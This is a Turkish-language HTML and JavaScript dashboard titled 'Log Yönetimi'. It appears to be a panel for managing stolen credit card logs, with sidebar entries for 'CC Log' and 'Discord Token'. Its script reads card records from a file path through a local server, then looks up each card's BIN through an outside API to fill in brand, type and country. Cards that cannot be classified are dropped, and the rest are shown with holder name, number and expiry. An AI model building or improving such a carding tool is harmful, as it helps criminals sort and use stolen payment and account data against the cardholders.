<!DOCTYPE html>
<html lang="tr">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Log Yönetimi</title>
    <!-- Bootstrap CSS -->
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet">
    <!-- DataTables CSS -->
    <link href="https://cdn.datatables.net/1.13.4/css/jquery.dataTables.min.css" rel="stylesheet">
    <!-- Google Fonts -->
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600&display=swap" rel="stylesheet">
    <link rel="icon" type="image/png" sizes="16x16" href="/favicon/16x16-.png">
    <link rel="icon" type="image/png" sizes="32x32" href="/favicon/32x32-.png">      
    <script type="text/javascript" src="status.js"></script>
    <style>
        body {
            font-family: 'Inter', sans-serif;
            background-color: #1e1e2f;
            color: #fff;
            margin: 0;
            display: flex;
        }

        /* Sidebar Styles */
        .sidebar {
            width: 250px;
            height: 100vh;
            background-color: #212331;
            padding: 20px;
            box-shadow: 2px 0 5px rgba(0, 0, 0, 0.1);
            display: flex;
            flex-direction: column;
            justify-content: space-between;
            /* Boşlukları düzgün dağıtır */
        }

        .sidebar h2 {
            color: #fff;
            text-align: center;
            font-size: 24px;
            margin-bottom: 30px;
        }

        .sidebar input {
            width: 100%;
            padding: 10px;
            border: none;
            border-radius: 10px;
            background-color: #2a2c3a;
            color: #fff;
            margin-bottom: 20px;
        }

        .sidebar input::placeholder {
            color: #b0b3c2;
        }

        .btn-cc-log {
            width: 100%;
            padding: 10px;
            background-color: #4e73df;
            color: #fff;
            border: none;
            border-radius: 10px;
            font-size: 16px;
            cursor: pointer;
            margin-bottom: 20px;
        }

        .btn-cc-log:hover {
            background-color: #3a5cbe;
        }

        /* Content Styles */
        .content {
            flex-grow: 1;
            padding: 20px;
        }

        h1 {
            font-size: 26px;
            margin-bottom: 20px;
        }

        .input-group {
            display: flex;
            gap: 10px;
            margin-bottom: 30px;
        }

        .input-group input {
            background-color: #2a2c3a;
            color: #fff;
            border: none;
            border-radius: 10px;
            padding: 10px;
            flex-grow: 1;
            font-size: 16px;
        }

        .input-group input::placeholder {
            color: #b0b3c2;
        }

        .input-group button {
            background-color: #4e73df;
            color: #fff;
            border: none;
            border-radius: 10px;
            padding: 12px 25px;
            /* Buton boyutunu büyüttüm */
            cursor: pointer;
            font-size: 16px;
            transition: all 0.3s ease;
            /* Geçiş efekti ekledim */
            box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
            /* Hafif gölge ekledim */
        }

        .input-group button:hover {
            background-color: #3a5cbe;
            transform: translateY(-2px);
            /* Hoverda butonun yükselmesini sağladım */
            box-shadow: 0 6px 10px rgba(0, 0, 0, 0.15);
            /* Hoverda gölgeyi büyüttüm */
        }

        .input-group button:active {
            background-color: #2a4ca4;
            transform: translateY(0);
            /* Tıklama anında buton geri düşer */
            box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
            /* Normal gölge */
        }

        /* Table Styles */
        table {
            width: 100%;
            margin-top: 20px;
            border-radius: 10px;
            overflow: hidden;
            background-color: #2a2c3a;
            color: #fff;
            border: none;
        }

        table th {
            background-color: #4e5bbf;
            color: #fff;
            text-align: center;
            padding: 10px;
        }

        table td {
            text-align: center;
            padding: 10px;
        }

        table tbody tr:nth-child(even) td {
            background-color: #32344a;
        }

        table tbody tr:hover td {
            background-color: #4e5bbf;
            color: #fff;
        }

        /* DataTables Styling */
        .dataTables_wrapper .dataTables_filter input {
            background-color: #2a2c3a;
            color: #fff;
            border-radius: 10px;
            border: none;
            padding: 5px 10px;
            margin-bottom: 15px;
        }

        .dataTables_wrapper .dataTables_filter label {
            color: #fff;
        }

        .dataTables_wrapper .dataTables_paginate .paginate_button {
            background-color: #2a2c3a;
            color: #fff !important;
            border-radius: 5px;
            border: none;
            margin: 0 2px;
        }

        .dataTables_wrapper .dataTables_paginate .paginate_button:hover {
            background-color: #4e73df;
            color: #fff !important;
        }

        .dataTables_wrapper .dataTables_length label,
        .dataTables_wrapper .dataTables_info {
            color: #fff;
        }

        .dataTables_wrapper .dataTables_length select {
            background-color: #2a2c3a;
            color: #fff;
            border-radius: 10px;
            border: none;
            padding: 5px;
        }

        .dataTable thead th,
        .dataTable tbody td {
            border: none !important;
        }

        /* Center the table header */
        table thead th {
            text-align: center !important;
        }

        /* Force white text for DataTable cells */
        table.dataTable tbody td {
            color: #fff !important;
        }

        /* Prevent long names from breaking into two lines */
        table td {
            white-space: nowrap;
            overflow: hidden;
            text-overflow: ellipsis;
        }

        /* Modal Styles */
        .modal-content {
            background-color: #2a2c3a;
            color: #fff;
            border-radius: 10px;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            padding: 20px;
            text-align: center;
        }

        .modal-header {
            border-bottom: 1px solid #4e73df;
            width: 100%;
            text-align: center;
        }

        .modal-body {
            display: flex;
            flex-direction: column;
            justify-content: center;
            align-items: center;
            gap: 20px;
        }

        .spinner {
            border: 8px solid rgba(255, 255, 255, 0.1);
            border-top: 8px solid #4e73df;
            border-radius: 50%;
            width: 80px;
            height: 80px;
            animation: spin 1s linear infinite;
        }

        @keyframes spin {
            0% {
                transform: rotate(0deg);
            }

            100% {
                transform: rotate(360deg);
            }
        }

        .sidebar-logo {
            display: block;
            margin: 0 auto 20px;
            /* Ortalamak için margin ayarları */
            width: 2000px;
            /* Genişliği 160 piksel */
            height: 25px;
            /* Yüksekliği 25 piksel */
            object-fit: contain;
            /* Resmin oranını koruyarak içeri sığdırır */
        }

        .api-status {
            display: flex;
            align-items: center;
            gap: 10px;
            margin-top: auto;
            /* En alt kısma yapıştırır */
            color: #fff;
            font-size: 16px;
            padding: 10px 0;
        }

        .status-circle {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            background-color: gray;
        }

        .status-circle.green {
            background-color: #28a745;
        }

        .status-circle.red {
            background-color: #dc3545;
        }
    </style>
</head>

<body>
    <!-- Sidebar -->
    <div class="sidebar">
        <!-- Resim -->
        <img src="https://r.resimlink.com/vAX13SJ5xU.png" alt="Logo" class="sidebar-logo">

        <input type="text" placeholder="Search logs...">
        <button class="btn-cc-log">Dashboard</button>
        <hr class="line-separator">
        <button class="btn-cc-log">CC Log</button>
        <button class="btn-cc-log">Discord Token</button>


        <!-- Boşluk bırakmak için bir div -->
        <div style="flex-grow: 1;"></div>

        <!-- API Status -->
        <div class="api-status">
            <span class="status-circle" id="apiStatusCircle"></span>
            <span id="apiStatusText">API Status: Unknown</span>
        </div>
        <div class="api-status">
            <span class="status-circle" id="apiStatusCircle"></span>
            <span id="apiStatusText">DB Status: Unknown</span>
        </div>
    </div>

    <style>
        .sidebar-logo {
            display: block;
            margin: 0 auto 20px;
            /* Ortalamak için margin ayarları */
            max-width: 100%;
            /* Resmin taşmasını önler */
            height: auto;
            /* Orantıyı korur */
        }

        input {
            margin-bottom: 10px;
            /* Arama kutusunun altındaki boşluğu kontrol et */
        }

        .btn-cc-log {
            margin: 5px 0;
            /* Butonlar arasındaki boşluğu azalt */
        }

        .line-separator {
            border: none;
            border-top: 2px solid #ccc;
            margin: 5px 0;
            /* Çizgi üstündeki ve altındaki boşluğu azalt */
        }
    </style>


    <!-- Main Content -->
    <div class="content">
        <h1>Log Yönetimi</h1>

        <div class="input-group">
            <input type="text" id="fileLocation" placeholder="Dosya Konumu Ekle">
            <button id="submitBtn">Gönder</button>

            
        </div>

        

        <table id="logTable" class="table table-striped table-hover table-bordered">
            <thead>
                <tr>
                    <th>İsim</th>
                    <th>Kredi Kartı</th>
                    <th>Tarih</th>
                    <th>Kart Türü</th>
                    <th>Ülke</th>
                    <th>Log Tarihi</th>
                </tr>
            </thead>
            <tbody></tbody>
        </table>
    </div>

    <!-- Modal for Loading -->
    <div class="modal fade" id="loadingModal" tabindex="-1" aria-labelledby="loadingModalLabel" aria-hidden="true"
        data-bs-backdrop="static" data-bs-keyboard="false">
        <div class="modal-dialog modal-dialog-centered">
            <div class="modal-content">
                <div class="modal-header">
                    <h4 class="modal-title" id="loadingModalLabel">İşlem Sürüyor...</h4>
                </div>
                <div class="modal-body">
                    <div class="spinner"></div>
                    <h5>İşlem sürüyor, lütfen bekleyin.</h5>
                </div>
            </div>
        </div>
    </div>

    


    <!-- Bootstrap Bundle with Popper -->
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"></script>
    <!-- jQuery -->
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <!-- DataTables JS -->
    <script src="https://cdn.datatables.net/1.13.4/js/jquery.dataTables.min.js"></script>

    <script>
 $(document).ready(function () {
    const dataTable = $('#logTable').DataTable({
        order: [[0, 'asc']],
        language: {
            decimal: ",",
            emptyTable: "Tabloda kredi kartı bulunmuyor",
            info: "_TOTAL_ kredi kartı mevcut ",
            infoEmpty: "Kredi kartı bulunmuyor",
            infoFiltered: "(_MAX_ kredi kartından filtrelendi)",
            lengthMenu: "Sayfa başına _MENU_ kart göster",
            loadingRecords: "Yükleniyor...",
            processing: "İşlem süriyor...",
            search: "Ara:"
        }
    });

    $('#submitBtn').click(function () {
        const fileLocation = $('#fileLocation').val();
        if (!fileLocation) {
            alert('Dosya konumu giriniz!');
            return;
        }

        // Show loading modal and prevent closing it by backdrop click or escape key
        $('#loadingModal').modal('show').attr('data-bs-backdrop', 'static').attr('data-bs-keyboard', 'false');

        fetch('http://127.0.0.1:5000/cclog?dosyakonumu=' + encodeURIComponent(fileLocation))
            .then(response => response.json())
            .then(data => {
                dataTable.clear();

                if (data.length === 0) {
                    alert('Hiç log bulunamadı.');
                } else {
                    data.forEach((log, index) => {
                        const name = log.NAME ? log.NAME.toUpperCase() : 'UNKNOWN';
                        const bin = log.CN.slice(0, 6); // Kartın BIN kısmı (6 haneli)

                        // ChargeBlast API'den BIN verilerini alıyoruz
                        fetch(`https://api.chargeblast.io/bin/${bin}`, {
                            method: 'GET',
                            headers: {
                                'Accept': 'application/json'
                            }
                        })
                            .then(response => response.json())
                            .then(binData => {
                                if (binData) {
                                    const brand = binData.brand || 'UNKNOWN';
                                    const type = binData.type || 'UNKNOWN';
                                    const country = binData.country || 'UNKNOWN'; // Country information

                                    // Kart Türü ve Sağlayıcı (Örneğin VISA/CREDIT gibi)
                                    const cardTypeAndIssuer = `${brand.toUpperCase()}/${type.toUpperCase()}`;

                                    // Eğer kart türü "UNKNOWN" ise, bu kartı eklemiyoruz
                                    if (cardTypeAndIssuer !== "UNKNOWN/UNKNOWN") {
                                        // Veriyi DataTable'a ekliyoruz, Log Tarihi'ni de ekleyerek
                                        dataTable.row.add([
                                            name, // İsim
                                            log.CN, // Kredi Kartı
                                            log.DATE, // Tarih
                                            cardTypeAndIssuer, // Kart Türü ve Sağlayıcı
                                            country, // Ülke
                                            log["Created At"] // Log Tarihi (API'den gelen tarih)
                                        ]).draw();
                                    }
                                } else {
                                    console.error(`No data found for BIN: ${bin}`);
                                }
                            })
                            .catch(error => {
                                console.error('Error fetching BIN data:', error);
                            });
                    });
                }

                // Hide loading modal after data is processed
                $('#loadingModal').modal('hide');
            })
            .catch(error => {
                alert('Hata oluştu: ' + error.message);
                $('#loadingModal').modal('hide');
            });
    });
});

    </script>

</body>

</html>